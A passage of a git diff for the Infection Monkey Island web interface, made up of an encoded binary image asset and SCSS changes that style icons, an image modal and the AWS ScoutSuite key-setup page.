zn|?%$F03MS4s1%3sf``UYR95}W`U%yRerD(Oj~mUaipI~fjRX;JJfR=_am-T-z3nTRf2q_65oyURt&iHM7}@u`3NDME|}3b)5Sih-#(USa%|}pqXd= z2;unJFOaAj)TuW+YN)RcVO#<>w{MYFHoxzHW+>8x_p6+3@Gop@SZEL!9~$Tw?GomMfr^lO3O56 z{X>SAh&dX2>hq;}m3N;rXIi49>C5-9v_VP(3$cAbIhA?k0Y+r4@Xt6dR3zIa`j^)r z=V0P_m}U`%i9mbYHex(iF!rAfm?^9v{9iOrAobC~NXo5daBPR|ey;o0E(nUNDt<51 z`e?rt)&cLPuS?b5vfP>a0ANR^uJuu=8DR+4;3tirr*c?J?+owYgg%bPwEW@k7&(Ti z2_JKEj#-5|9LOJ3qBU`zDO8FpyWw#b>dN4TagtehUbg8lVHqo)snZgP4i&loey4_q zpIdiuqUKViz3tw$An$XO>Dc;|vQ{cqGWKvUj2^asWO2m8kXPj7X-kG4xqTzJe;sy` zNu(O454gFR3_pO>%Z6YLt(RAaW%QWZ3zehJjG~Hs#9c`dVLWqS-;y-3Wd^PZDJ273 z2=(L@4t+;nyyq9;`1*bZOfprXRJD=1K+V8_WdRe`r~O%McBH4O3GgMPD(x>}Ze+^O z7A_IZ%C+-i?GAM44U zU43uFK`GDQ9pLHg_~e;iC-G@ z_A6=6eUoKZ8YU|FJyN*=8WFMw=qW<`o*4YX-@7i@0PHm$QUfJyj703v)ZmC2IA{)! znQla)(jZdo$0QK#aiMTQo=-5f&%8R+i-WLeD;A;5bTH8y;c;Tn)I!~g;6ewwNI42d z249|nLbx#`epUBr?Iq~#AqUJ|(^I#H1BSKh>2FMyj#_l_eDgy3)1!W(T>GiVFFy}S z-xctyXsRhHN+2p&P%B?0PrDUsB$ zxGE_azZt234z5IQ?mZ9i>SArb!s#;DYX7cbM>H#0T&jMe5Duvfd_S1Yx}QFuYzE(r zC&FMj$|xHf7(yGKX%24$L){@v2@v>HCx78)0GzQJBs_Q$1T?_ z|5BCe8g?AwT^Yk4SLvxJK zi+dj>WxGGRL!O)6SYnqlc#63x1 zR8}HvZmd4{KR=-!`SVFql&+RU!1f-z#OhnyGP;I5k87^1H-`qEXxYdy;37|zaCpD9 z?tnwz4m#ER&OY-hJoNul@^27F5ZSj)CvMf@1?oehyc|BkWpfYR&uY)dR_))zm9r z%_NHmwx?40Y!3S*bD^`Pd562qTyisZ6M`j0hxE0&$d>JkRSCo6Mteu>A^x~QAH|F2 zA6gP!EY#;dV>fhun~`r23zZJu+Q?w~Erv>cAtKQeVZ1T$1&8o{iZSsZk4N5InrIDX z_EbHqM`XfYtz~h=7(2 zyTb!`jcKeJhV)LD(_8>qQ3%bXI^aaZSaO$uNT8>M-aVc{u_}%M`+? zN383utZ+=PRVd{&q)kRk^SjB#I2jE76QvO3H%XgCxQxo3iKih@Ap~+9oi0KF{u1F+ zVqRHX%&b5ZWVW^^*x-9U5sG*BsE;OE0dMH zvW@>hjApB|5s6wQ;w?KDVjju#{NM!SaH<4_5OiS{wj76s{Y^^iulp1QUvyLFkky`z$Ws~ z4{Z)!7XA-dOEJ4YRq1al(5WQkziKCRSN`AwjDPz@`QKp8!!H47R1rYLukZU9x&PUo zzevcV|su{sxud%f5+a2;|~4boSMm_R|1QHX=Z)h z+(-f8ET#@|H?WC?w+pQAhCIu?NH+?}q6_w{p4-(rb`+RtfW8c__8E(6HDshr&MWm@ zwc~0h+4LwdJRy@m`DM=hH!1PW$-C!gt}0_P*~g&V?qXQ`y&PF2*86$0^q{1@T5hr8 z`Rl}4vE479PX`hao5j!9`E5<7_C^a$R~C74rE@r;)|BSlUU8-Ln*9?yET^rrtWsC_A`@IltG0BqQL>B2 zxy!z;iio45`Mi3_WNp|@L3l750q4eBUyQK0)bBE%C`%GePz1xPTtZUqX6+ zL%7tdW7&XepXe4_Jz3C|WzTo9sbXtdpmtJb&j|li^@;>J?rS3R`Id0!{NGZ%XeMm4 zhq}fWmX`C~n{m>Tj>FCy+CmTfRF^^^Hf4*mD+eqHaTYI0|qt$-1ZM&1}U&Ls6 z$zJ|sMS%0X5sM9Q#_BvzimLBe`DZaRQ{Q)!q4r5JEwYlUs-Ll3ka#8C!-R2$J&*OQ zr%L8FEF73qh;$O4E4I$rqpjcPiBCg;=GEU-t0qsMH-=~+xYB`vV!p~E*pGpHyeAs_ z!XxGRHO;E>>>lQuCnGOjyaUO7%K7|hy$%r^Dy|`$@mEO0ShBN*eDM_X=B;`ZRC~6y z$?PHzv9SqzJbyHk##Vx(9kKx+c#MRPI(9D1dZI;Jt~k?q3%}j`g9is}34{=D7FP-c>F!^gCN(U&c{jHwUL|Z53d0U^v3=J=t{*sLW%L6& zO+@(3ePMXz`!!4?Dhm--?dwCgi`1L8m-`x0?*uSuNmP!42qMA+58{FS$FZvQQyQ&p zJ%ib^F-%@5x9xp3wx#0A1Tc#Eum-`p)+dOdGDNI#0JItr;OP->vONhbGGg)97-c~vh;(* z9(NwR9>M3PT5Kg$NqI@S?`LyHym|ymk*->qULEh1T@2O>_E*!sk_DQv8n3-T^5VJ! z93Gsht=ZgN-lF^lr%+`F&Lw}pLHB;Kbvs>>%CrxqS-o~;!E0S!oVL4#e55`MGUu;s zHlC|I5?~B<@WuePASA#;_vv1ys$NK#I$|0|O1uZ<@~Mx&6~z>qU#nJA3a}mhMn5oA zqo$+Uw`Q~)bo<24;YV^AR4fK^ZTy;7ujGPb_3~-6>q%*B=0R@>?9+uthEdo=;sLF* z4Zou`o%7L$ifI?c8w|Em==xEk`i-yiEh4V_k$tKt^|0&=hv?~6_uJ8%BO$$$G(^^2 zYf9ONYylBhtoMyfNu0k~;~KeG^kk<5Q1a5E2Y!BvC3HjNBw*x?2Xrkd0mf5_5Z=TjC#>hH)9!|v6$EhI#k2lX4G6aEI-)AXfm}+Wj z-B2NZ;9-BQ)}LQ020?7$5Cb(LydFu`d1uoY^pEp+0=iJVz1xv1ddr_L4^KW;tt)K9 z5|wqVj~dfJi6+mOwihmf27Y@|)?N(hN%ql0Zw76IFU8Lug60N4soN#ObT9c4$mSN~ z?KP%w%jJ>IEpWqJpaKXO1;=fxXG$1)3EHeT7K*`R_h7C5I(wizx8&$a@A>S?Bi!3ZifKn7)Fn zWd8mUHmLXfZuOz#u;GandgEv-?;ouCsXlv%baXQgO6_z$8bV~4aJsdXL#Gnbpx6NK zh~W@Ky*pm=IHD~Wvp^V{xy`k0$L`Gm7bj@lk4mSH-Jg@}X%kJ=>(%agAVQ|g7WFRb z5NC7AO1b%TWoBBMb&Wj)^iplynstq?2Lv*wDiJwt<<=&jmR2)w5ofegI_nu>Qu@|= zU3$?f*)Fc>8nq9Uz8I%DXL&t!LhGvgvB$7<3s+z{&_hUPUjAGgwK(LYW&S|i8!w|~ z-uOrBceOBet!NT%fN2>kME}aDyOem7l*w~YolGHr((Nz;WZLWxLihIU;)fWNvJ7(M z6j^Y&lq6E#+Gbu68TEGv`fgD9B~|KS*BFri;|1n}YVdkSJ+P@u$1jNeN^0o`Tw4Se z8=epD&4Q^CN)s>St2XvR(N2VX`I`Yy%5V@1ceABT#Q7Duz3>62E_0#{lbfgef`|3u z+NdyaXpQU0zIiZ?-cXfOT-+@0AnverOfYLHsJPEVsZrBTuU$9UY`%q_ zd3@&@Dt>rD=0D&PsOx=Ck?CE&eA4O~>RKe)7zdx-_P$3qiYIEV9I-uPxvM@SbE?{x<6bA&6r47ux3@W`3Z@qK+*n<(P zrmy4aFr?HfpE~1At}b_@(Xf-}wCK3F_4M=Mmm`q@qsmXInm#Wd>&c6uTSpYmp$hCG zGrik#7g3K4jLZ0WCL+lJz|^nk9G<2xeDu?>8Tq2b-hv#4KDw4;qwnIZ@3ZN=p2a0r z!6qk2N!NmEyBi84LJF0ge_L7$K%wrSCw?A6_|-OxW|t7fu{B?jcV|NO#aBjhOcTFDD;I5esYUHr!vAmUPkz^*Z^@LX-D z^~@37t^QV=q-`?7tIZ|i+>~V=Dtm8%FCBU6pPpqa>wdqie28hwI;A$V7W{QK_S7FI zJMqQEUFmh42iHb&cbyYg9eM{;$!%PzZY?ZrUMW=JLn3j2hy|a@T6|p&NFfW-(wY6k zwyc(k5e=8iOF0%apro4av8Jk^n*`oiFXlv@ntrzd7;T{0ON#n{z3a-P@a^;C2hlVI z>&!pW#+H)dS6V8|LCnc&E?~EQ@{|2j3&xP1NAvEVghLpB+@LdNy+!&riNjI4%Jba) z1%l4WE$%_(ZGz+uwFkXs&p+#JFaxp_fAC$KtG8$Ma$0{*`7>unn2L6!^7lD(%qKcLjiQc@U3y! ztKel{Y)bhoWTDLe~!PLpN*QO$O>6>Ol1+xoMBD zCF*&RyxYY!x)`A51ArJhON7uw;(a)nf9Rb|f;kIL}U8An;bT6A!SDUi?Tc(iy zxJmL&?3{gmhfaYX{GM=)qzD{PYVt>a&hyEpZFesnw|BB87qTz&7NCp~B-N-N@K4_m zO4ZPyPgd6u(6D|Q$-_r+>RI*pQoLEOKGF*8I~g>A zeKU;0o9^ZEw`#BvA>ka*BjC$)(XwvU~iDY*WJXqR;?2#U4BF@uVEQNUYJ25X*Ug zK%?bg3cT{ztCkm)G@AImF2vipw zjohj-%|`od+>WQ^f|+2 zsS3OxMen|BniYFQvG2)GH{~bZvezj_lo0;^A)k!<>I%E%a=}Y^dS-_bAEHJ zWF7~%OVytQ_AMJ4?CEYF@cl|DI^$#SVxTU}H7JDGg-7f(#goXm+B%p~qLX~XhEzpAFWhiLeYy(+Yv)pGlRtw%`+zkTu3iEbW= z!S(d~JxgoLB1A=3pDZ#}g;1}j5KHxBt|bD*EdKoi$?|gFK&J2QHB_FjY4?qH3W}6> zI}rEYyAqMXr66bWFcbx@7XWY$ht9(tmKC1?m2{`RmDNy~?mcCwZb z)l-%a7R=~7-p6kv_}tg2hgw8n5RmY4>kV2Kl>%twp0VD?rXn%P4D>6H_OVYSot*hg z@WC&D?Ip8Z%Hke2%ZN)PpD7}_XxS6mSpxPTMkct7L}sI-{Ld3_>hIet&8QBKGNR@N6q-o zL}qthfu(T@(pu&>H#q_=GrW`;FA_ytT7|>doXPB3D@DEx^e!o9wD_j7Q$v*u0ErM9 z9m#nuYW>_cc-!SOhD%5{_i;Q54xL3V>skjwJN{w^umOsfe^^gI$h$24gXgYb3k7kM z2eiRh5ptCM-b^Xavp1COgLXVVQ(RZjRJN%?9D-3=PM&1!4v0(QHgeO}J8^~8ryiSO zL|L1>O;FQv#oRG_Wdb|o&(p0E-Q2n#YBd`bLlcmy2xHnTr|ie{Q0+%q6pXvVb?`Ft z-Q)t5=Rs`jZ*;u!_+qfYPar*9a~Y`{LF~&51_|3WhnWpiej@Rt7K_-QV3nS8n@{zN zGVg}zsj_%J^9W*dAq$XLb{BP)w*Km49)9P~&scwaXNmq~>GLbEBynYf#;XnK?gSOv zmfrnTLjf6<-3I!Y9yMrnJaQ}!VD%{L6 z9r`T=N=)Hrs2_R*zkQA^zXP`Lz%(BR5UR#2l?H*b($X8Mdt_S|2@RhbetDa3F#Sf^ zTyy%dzCNW~+sT{NL&MQ`opxi-TUPxfcWrh^4_L&HXySp*qa%{yfG^Vr%a}BnizaWS zw;0v&P&#&Laa8bB+Ggs!lgMpG9#!Fg!UmGhRD~p6xmRGyr(t-n@=#JRvY6%ENi$Oh zPa5wHnj?}eIm0rkj%63iX|h$2PM=NmNW*I({TEEuAHsMWcV~$Q-55>+{p-CffUvfu$mRb zh@4Pav!rf(6+SxE} zJt_@P2W7x~dtyvF>YFH_u*;+`O~<@d$pm+79&79xOQabId&*8a&3ZtumUHzgFqa6n zk7dgkBF^T_HNxXL{sb_A!^?dUXton#ZOqN&32}>a;2z1^(=Gq*fFjh~*qfxJABgrs zrs@7E-G%Y8!MqG#27RCh-YA6LHr9w8h*;Ofv)cv^4#ttL8nIJp@xKa zyYfU3H#^tupqo@So20#WHX@-cI$@K((|KCBbV==QTWt zxtjt?Sl%()`W7dmDRa*zX*63Msdg6~)SyqXkas>q^1Z$7q&glHPoj(uD2G31(CI~V zkYk^xd1(maeQu|)mD}t7C4DxFFTwXP$=(fTl6h&vXq(>J>M#5LHrH0kV;`{2j+NK? zXHLcsGvs&h{m(80Psg9T(&!ur>CjNozQNe-k+^GbMk$IWRuKTQ9+P1!o>eKo#VaMJ zESxNTlea4nMS347A59L~KFE)J$y}N#*}aQ5$k;S*&iiGD6uK|V=)im{Z8=l@cK$L= z$m0>?dqP&8#CV#elP<4U_^Qi79eV>$h=lW7pMe6`>xzGnoa|@J_5U%8M*o;alvg|G zogTzTmt0Mrp8$mvuyrq0|B7Bn$%vPl4iJ5CZ33`f0!1>!ey@(>mrgOGR|nW-^S^r!iQ;8`mW)ir8z+I4mUZ$ zm7%VMx?~zxfd&82X?s*il;Jukoy@KTPr(A*p)ncBI-2}sgaU%Gm+m&ZdnZUs2? zW97G~0a`2w3%@^!8uh^y;ggK0xCiJ24%*VAZe+Vexh_`BTFvH7HV+}pemwM`en_j} zQ!o0*KKPPJKzRQ`G{F9Jmp&19Rt+T)Qzq?Hu3%@Z^9oB+xQE3fsE>>}-ke{^G?4GG ztU3SVH(H5o7h{WLVY~0mbK+W7gBW%RPUowb zjANZ=1zH{wGP|$b-cTqQIBUSZr#9Wv_!Yque=0zt@*t)Saaj^7+!qq)K zll-(cZUFRB-JeEIPtmiv2@1UAb}(7Kub5wB(48OagkK!0dDmE8sX+^{9gxe4 zwTZokx>m%YnSu%K%PL#GB+bN{HC)7Tg>~-s_E_4aAPn%e*Ni9SwbwTZKGeWtujlWX zJ`_x63^5mW2*xqg!If)sw%?AYq2!s3lDZvD7Qf|3X~pxnYlnFA_WY1#eLbq5n{b ztJ!}48BrIiraU1sbiz`R4G*bxIFS)bt2>lxU)X_wCwE57^x_#x*F=|1*-fwL_26^9 z#K}~vQP3V+VC`-?NG>Vu^F9unf56RE?-ZF*BjIj(0PteMekEL0)xqD17}}pqmdKyC zXI#AAaYKrdn7iPysg`P%DhN7#y76L4Zt7p5zE4dm7x)@Z@H@L{FshZNI27%%D!WGJmILI4+k{yZHCWSRdd z@leiS_SGL)zNs1D(Zkm0n7+pfe31ybf$$UBA4BMMNOTD+KWPbx7S)T~ZCDG0fmF7^B zWBaKi?6~pFOb)lgU5~l&Yf!}SF)0MivoMnDkc$dq){DI*;Ff7H%%QDf}56Vb};L!nMH#%U0) zX4{}%P9mdwDpf;3qLf!%{kO(6`Md}`N_Mp~3LkKUDM^!8e8$j8sOvkldl;7=XiK&dMSH;6WR1_7Yaux=Uj}-`( zHAJ8MSM}ij^FQSZ*HFxy+C8Y| z6D)pY*Ocp35Gue?={PtQw?=( zZ66+*BK@4eybu8ai?z|zZ{5Dm5 zQyg%lMH4@FzI+oPWK>c$oLRpyI>}JnS?vpO>s?sTR#o48Yt^YTVgEmdlbe zB_|}Y%@FcKiIm2W8ZX1*7?eTuA0%f^TX5c|1ul`8r}AlzxLPG8v4o0lh|VY$k_WuQ zEVM@GqRu|=7PZjkZ(Do)36z&)S_^w2?CyFkO_hgyGGsW2O@;c|K{tuKfdwrK*M{jm zXe-kCZf*(cOvKKbADBdw{?!#bPK_l2)u+_*h|R!W`Fpzx6=%xvJW{!f+$v2oxMty) zC`l|AxpvYiBqlXZ|bzF!Is9-jCQ>c6HO#JeZj zl|z_j4Uh76 z2LCy(;dfzaC(DVy_;~E57iHNVs`sy|b?|&;kyVoR-$YB%T%T@taQVd4KUNgXe>l|X ztxaf&A>XoVsG}6Zw3f_cdr(J#*n4*^0UWMFWwV>@%n39Ix#O&G;R)q`_gD`(?&H1X z+cCs~=cKr zLystENpA4F=eTPLO=JAr0>qBsKG3E|igE?JrItrbF%hsDh69UVHK!})nH4(fZzVLNf7@nUa;Ri=2{=*)ET zsvN4Q#?*^tU-xiaP^gw7ZQjeVUU`EdgRiD53AM-6<}MGnUn1E~g9lgozhPIn^&ZK? zsoe6Tr>Bg^JU~#iyE?GSMArc7@@3TIU2_i{zBnJy+4HgD`V+qYx|*B2#s)MD1D`bq zjSXR|R0tO0UEes3T$cW@j=((c`BL5kfLf8s!W$hfuE;Oe*6l6K@P5pfnB1dpyPaMv zl7Xf|sN~^dRS`vO%mrQ@^M6^{lMhz5?5nE{B_4$h=&jHe{3f%Xt6DgZDl{@Q?dL+g zJTZYay)Od?-;H)}GY(x4l~1_xqmP@fG_K6TsIEdKy)sf`FWfH4%ST-56BgDNeR(b? zJfosLg177!2H;Q>WnD(o)uExHFn&It^uv&SQ<};lvJ5#LBp%SkZ|45xqBSBE353bq z%LE(V>Z0CK$73D95En}4`vIO^nbuoX)2e9269X`wHgu~UqP_fMPM}3?YI>V$+Tw=$ zr2q-_NBV~Z$EM4kR2wW-3ZpXBRfON*Y9g&kCap@IrHrewZ0HU$eJMxm#2Hb9)S0+- z`RF)C;5qnU1>`@GTWW8!GFN-2oxEltMrnhQH zHWt6)TjyJKv_3KG1yVWp@QW&$u_a3a*5#T$I$?=31RfLT*ugUl3SyuN#nDXY*+1KF z&Fk_W;a&ASYHmf1ezi6wp+?vj9G-Hq=>S>%fxqUu6qDf8u(AKD9Mg7|f~Fr3Qd7t7 zXR<2_2yuI5G>rHt5}kN`T#e^_vy*omZm|L*M6Ah^{i|Vua|SKe?XMzki`?m&pJC)A ze;f~CNMkooOkBIkHOD#_z&9ot!artz_w5^Z7ROkuxI5_cVgW43D2M%bJ^ZB+>x-S> z`GB&)D*$tJRSz_wu31C#9IZJ(lJTXV{NjH#l1Tgv#Z~|xZ&tO?w`%f-Htsa zt9rzW0FmMTWbT`ti05f|4n8=N^_5?4Bstb@(fp<$jgOj+A0S^SsoETbi7bY5f8|e7 zMNbdDH!R4_#v)l8Q}M9mHwO*x<%tWVcJo`vuT=FFR;nY1xLALUOr;cQ?ixQG+>-?c z6cB@>jN~tSNe;<7HB_YWC}8?Euk$kOI(3zs{R}Ajn|pDKA>UuP%)(qW^hj{^R0%h( zDN<{bHJqdRGp#RKU+{xX&T^73)6RoZC99KW(8+$I#s^WFL^4>fTYs5{YY*}7ylNGO zp``BA+{?lHQup`Ji$8eXt>9hG#s+4UR-MSyUO%8YW{bkV6C*f{5}`kmpJ>A+q+4(9 z(H1)6dyh?+BFd-Q7Hrw4yk!^fk1f8hU7uK<*C@}zHAs&NHP212MXgwZWaaJ^)}p-@ z5KCx2uOMJOu_tKbLaZA*{nz??1Qe_t0?Rv%GIg&AJ{|i#P)YiVG=fl=Ge|>kLtryz z+Qa+DAvJH<K1@u5b_b|LjiftEmv$M_h)Jt(;7HZGWRYV@@+C`37WTlVv$E44?v z7bJtZt&aCJ@U;;PgB`X4q`Es-(gB)wSLIz}S~G?WA?Pw?flvk@@zut3I>=q6HR;P* zuH&ulr&#&s8MX-8rXEQL{y+jYa7~z7Q;@Mg0B?+BCzvpzmP5n#`(#02^snlgXG;N1 z)78;GroXeLRE2r!meOUWM~7dtefRDy*@-G~t1)0JptwOKEJDDJ7LLEZ38_Bxsix0L zgSjF+&3ZXUV?9z&Zs<~`1L=j_6mG~2zv%}wuqb-keZfm%IMX3BEkh7&680Ce7x(Zj zaS+dR^^U^1$D!l^$M4HKXeDo|tT;#pN+8gDMt_6%Il0z-|BQrraPJTaH1 zNcR|#NRn%mbZtG*Klv#zy{jj#CxBV7yhbXDmRmH&2{b(zXA()ZVqoc|zmi?u-D*Z^ zf;W4cn7w_^0w=sColR9AZ0>U9@>Qk>di{a~ACnA>dGBoD96MY^uzp4_KB$F-xX-5A zUd#Kc`^4BP#IL8hD^N=~T8pY<%VFZPU)%g_Cai zPggI8p4s)060RYK$Wi@8e(p0vDe7Fqq}NpT=i&;*uXp#(pBX8C&IweAjZ@mtvdj64 zr8VBFRrZVRG|CG37*?xdvb3eAy3(}XYa>kKtGc=I;S+p)T$MNitp=9ol3=FQ8!5hw zb!(kq%+K1KcZ!Tk=1ph2vCGmJD zEttY$(tQeD1){Tr=X#4x%2OT~zg4ddzZT%oUF$n$nkedq{wl>&xLtbg)VkyL%zB+Q zVunH=>3`#2Su;c9g@ADm0?U|=qTMsmlqUC4oGf*zax7!kf;m^hoHXHEmtwkQLMw}V zWS5gSWPF2I4a;YN`$S4=l|C&%*8@&vew0qeya=Mq!0UR@Qhk&Osuru3s$&96Ld9M$ z?vc~(G0e!Jn>45~2FW#w}&o#fXAB{XuhJM+9m-j}*3FlZr@$cj=P2Z%=6KHGwX2)AfQjmNv}2Xh%<5$TvNHloZWy9uiA{c&)55y zZ=6{wY3X_ss*p}Cdurm%jh;H$en#9j(&ZoWwPbque<5F2|KH>*gy!3fJI``;x#2E_ zQABxS^wFN!Ta!qKI`2DTaa`Xw7ncb3->d3yVose6wxfZr%~DAk{-SGw)Fr7rELBkN zDjRt!EJYUxHKN_BK*7CCJcN}Ay6s&IxsQ*uSXBrOm-iPrH!jWBBvScSIM@802 zh$vK48e14-k8DXpGInLBF%+XQGDgH$##qBq_GKo6ne59jYHEnW^H=AbXSuHP;<>Kp z-SdC>zkaX3_x-y+_wV`+-j6En48b&oq}K>g!23(q9P4TH09IDqcwA=;H2Eo%}H@_T9T1UP;(6MiBY5YC=6~p)1qDxncNTZhr-o=#| z;S|$%?86(pSSq;MZZFD@MoD(Q@5EC2N<>UF`Gko?5n?~X2$qP`&=fd}ZBl;{d}}?Q zv$;nR9Wh$2FAvVUov1V_!judev761A7Tj}oI}VM5ZXd6$D2(N`F80fJP+H2O(TZv2 zX)V0em1XHsa2W797n5@6b7`;;&c^^IB|PlhVldE+3(fonHCz)}I*mUrjRU#1Obb|h zYHd+Ed{VIIY1Wpu`6&*g)}d1Ecd07&brf4uLK@0HEc?d#!BeNd#BaeF>;ZnCx%vZZFUhGpSST&23rDI9NXL8`zIl%YN8lFe4C6F zV!&XFoN%A=(GH=7CoMoLR%P$@ywQO;OPW{7y@|hUyY)2HB=kn1!Ay={)S$5G`gr5N zQ&{43FVyY~sB>f$uqBG=GlTePEj*)6sK(x;QZR#+X?B9Nei>So0HL~>IOfkAyQWv_ zaocQ;Ui{6ZU0i-E?*fqV3w))3OdpVy9Ym5UcZLzy70X*LBNiu%16QG0Iss z_q5J2i!5fFq_qAdu?_zj2I&0ZlMCZ&N8Yv)Il<=bro86wN~Z;fH=gT^@aNowlzC`({6Y=m2nhpU z60b)YeTSLvp_9^OZ~ZAI>t77kGj5N;a$)|1!SWn$s5YcC#?&wq{lF~*jdlocH>YbB zf0+-Fq$A=20%Xve8C>^y`^Pli7ZuC^7}gKy9M(zRAi?h}0yT@b^1_rZhG)*js7gRh zkrAmBgGoS7*;a0$#a{C^?+7Z@YT*wqV}K;NOiU}x2=>)e>I!UiK1WT=^*Uiw_VxY5 zRY1&XMVFgn)ri^c+oG^lL+yUX zg|CIc>;W0ayo4lGdC7=c+B#Sg6z9{RvCG6;0UMWDljVHq^k|Qt>{VBfXW}Hc(lxE* zJe-hXDIVof-7G6!y*QU)1$7+JLbds4rYU#}C8si8^yA#(c&G&~J|J+gf}73kh$`1}fW+=@ z)|QCA?#fF$cab15X!MFTq=s3%P^No66>G@}lJQbgVN+?AWM{&fA07Uj1#&h93oxz2 z>~3m(_M`EWd693I$5PZr6K>!q|ED7V9nUB>)TeefHkWb1eEc;fhKe;dt{!7>V z&PUY;l_@>3ur;y%t9|V7pvhy`ullu=gd#QIT=QGpfJ7y1I8DzMtlU2l>9>DkGY*xK zb=Hq_dh^nvjH+sHbRDSuO2LbXeaZfxSS*!Yw7g0B2bRF0m~jToVsq4xHhd2Dn@(7eRg>y>I2a4Mfg_U6NSb2uhp6E^X1&eV@X~$E;oW^` zpDK;l;bVSlmUWZFmMxfTE(>CkPaiMgB|08iI0U;?C$~>c`QcW5?N`6rCRP{m=1Bg` zp`2FE?oLRHWvJ%5C0NX;seC`gAD#*t7p`N?ZKJeWj0adOeTn%AU&DUF*RxY|r*Nx9 zUiQ>h-Y2z1}WlfWUtND}>!u!H$C1#H78YCn-3H=O>tJ@nklrQ^&_zL z1_$~1t-J}*~iv1@;ESNE<1C)U*E zizLe?xn6fEd-#b^x{Ao%LsgpBxrsdRZqYkc1Ib4=`uSezc1if}K{D~j@e%43r!mF- zheuE6M~8|cL>his*y7J3x^4`R^=aA&%VFdaY%af|@^Sc#dM{DViW8aPj?eA{LM1Zq zqa=gy%dTVM&I+k_|{a zno?uXwKe9EojQYS933+9 z;6`+aB)e5-4)l5cwi56n1r=t0@eHOpZZ58@bZ&XexLD*SD6}zgW}>jbsZf+B|H}Ys z@)=#=B`l6MjIu<%rDxQ(XNSgv~FfHy5|H5FaO&QGqDusH6I?gOjWV|odP#{;AHctq#`(+{uE^r~9BrNfqlr|=&{tsWBvw9jB5d-lAE}Se zv-Xh#RO_M3vdfwG4`yW_%qJmwysU7Gjm+G3JLZ6%Qm>VANP|=16ckj&>>Q!Tgrld( z`oZ>f$gC`Tnf#7M#=HrNcUk8q&`pAN8q6QvDA>$dc&cPopqHR!3M5;%V&mcxI=H@P zJ-G#>>w$$7%w1K(31|Y4kKENZw{`j>M31>0oAJgf`&-cUW~um+Y#`$2j~dF|tU~)) z^zQn;{4?^WavEC$Q}UnDyKTtN(|;alBW2k}kC1GLMn53!UngVS;(qjd|8IYE?Q&Sz W#^MF+JgNJD&+NRVG1l-_^gjS5JeR`& literal 0 HcmV?d00001 diff --git a/monkey/monkey_island/cc/ui/src/styles/Main.scss b/monkey/monkey_island/cc/ui/src/styles/Main.scss index 602c62b3d..400af4054 100644 --- a/monkey/monkey_island/cc/ui/src/styles/Main.scss +++ b/monkey/monkey_island/cc/ui/src/styles/Main.scss @@ -3,6 +3,7 @@ @import '../../node_modules/bootstrap/scss/bootstrap'; // Imports that require variables +@import 'components/Buttons'; @import 'pages/report/ReportPage.scss'; @import 'pages/report/AttackReport.scss'; @import 'pages/ConfigurationPage'; @@ -13,11 +14,12 @@ @import 'components/AdvancedMultiSelect'; @import 'components/particle-component/ParticleBackground'; @import 'components/scoutsuite/ResourceDropdown'; +@import 'components/ImageModal'; +@import 'components/Icons'; @import 'components/inline-selection/InlineSelection'; @import 'components/inline-selection/NextSelectionButton'; @import 'components/inline-selection/BackButton'; @import 'components/inline-selection/CommandDisplay'; -@import 'components/Icons'; // Define custom elements after bootstrap import diff --git a/monkey/monkey_island/cc/ui/src/styles/components/Icons.scss b/monkey/monkey_island/cc/ui/src/styles/components/Icons.scss index ed75d8a9d..36c9082b8 100644 --- a/monkey/monkey_island/cc/ui/src/styles/components/Icons.scss +++ b/monkey/monkey_island/cc/ui/src/styles/components/Icons.scss @@ -3,6 +3,14 @@ display: inline-block; } +.icon-success { + color: $success +} + +.icon-failed { + color: $danger; +} + @keyframes spin-animation { 0% { transform: rotate(0deg); diff --git a/monkey/monkey_island/cc/ui/src/styles/components/ImageModal.scss b/monkey/monkey_island/cc/ui/src/styles/components/ImageModal.scss new file mode 100644 index 000000000..bfe630b5f --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/styles/components/ImageModal.scss @@ -0,0 +1,49 @@ +.image-modal .image-modal-thumbnail { + position: relative; + padding: 7px; +} + +.image-modal .image-modal-thumbnail:focus { + background-color: white; + border-color: white; + box-shadow: 0 2px 6px #ccc; +} + +.image-modal .image-modal-thumbnail:hover { + background-color: white; + border-color: white; + box-shadow: 0 2px 6px #ccc; +} + +.image-modal .image-modal-thumbnail-icon { + left: 50%; + top: 50%; + -webkit-transform: translate(-50%, -50%); + -moz-transform: translate(-50%, -50%); + transform: translate(-50%, -50%); + position: absolute; + min-width: 40px; + min-height: 40px; +} + +.image-modal:hover .image-modal-thumbnail-icon { + color: $monkey-yellow; +} + +.image-modal-screen { + padding: 0; +} + +.image-modal-screen .modal-dialog { + margin: 0; + top: 0; + width: 100%; + padding: 30px; + max-width: none; + max-height: none; +} + +.image-modal-screen .modal-dialog .modal-content { + width: fit-content; + margin: auto; +} diff --git a/monkey/monkey_island/cc/ui/src/styles/components/scoutsuite/AWSSetup.scss b/monkey/monkey_island/cc/ui/src/styles/components/scoutsuite/AWSSetup.scss index c1546ac81..9d8b793aa 100644 --- a/monkey/monkey_island/cc/ui/src/styles/components/scoutsuite/AWSSetup.scss +++ b/monkey/monkey_island/cc/ui/src/styles/components/scoutsuite/AWSSetup.scss @@ -1,17 +1,74 @@ -.aws-scoutsuite-configuration a{ +.aws-scoutsuite-configuration a { display: inline-block; padding: 0 0 3px 0; } -.aws-scoutsuite-configuration ol{ +.aws-scoutsuite-configuration ol { padding-left: 15px; margin-bottom: 30px; } -.aws-scoutsuite-configuration ol.nested-ol{ +.aws-scoutsuite-configuration ol.nested-ol { margin-bottom: 0; } -.aws-scoutsuite-configuration li{ +.aws-scoutsuite-configuration li { margin-bottom: 5px; } + +.monkey-submit-button { + margin-bottom: 15px; +} + +.aws-scoutsuite-key-configuration .collapse-item { + padding: 0; + margin-bottom: 15px; +} + +.aws-scoutsuite-key-configuration .collapse-item .btn-collapse .question-icon { + display: inline-block; + margin-right: 7px; + margin-bottom: 1px; +} + +.aws-scoutsuite-key-configuration .collapse-item .btn-collapse p { + display: inline-block; + margin-bottom: 0; + font-size: 1.2em; + margin-left: 5px +} + +.aws-scoutsuite-key-configuration .key-creation-tutorial { + padding-bottom: 10px; +} + +.aws-scoutsuite-key-configuration .key-creation-tutorial p { + margin-bottom: 2px; + font-weight: 400; +} + +.aws-scoutsuite-key-configuration .key-creation-tutorial h5 { + margin-top: 15px; + font-weight: 600; +} + +.aws-scoutsuite-key-configuration .key-creation-tutorial p:first-child { + margin-top: 15px; +} + +.aws-scoutsuite-key-configuration .image-modal { + margin-top: 5px; +} + +.aws-scoutsuite-key-configuration .key-creation-tutorial img { + max-width: 100%; + max-height: 100%; + border: 1px solid black; +} + +.link-in-success-message { + padding: 0 !important; + vertical-align: initial !important; +} + + diff --git 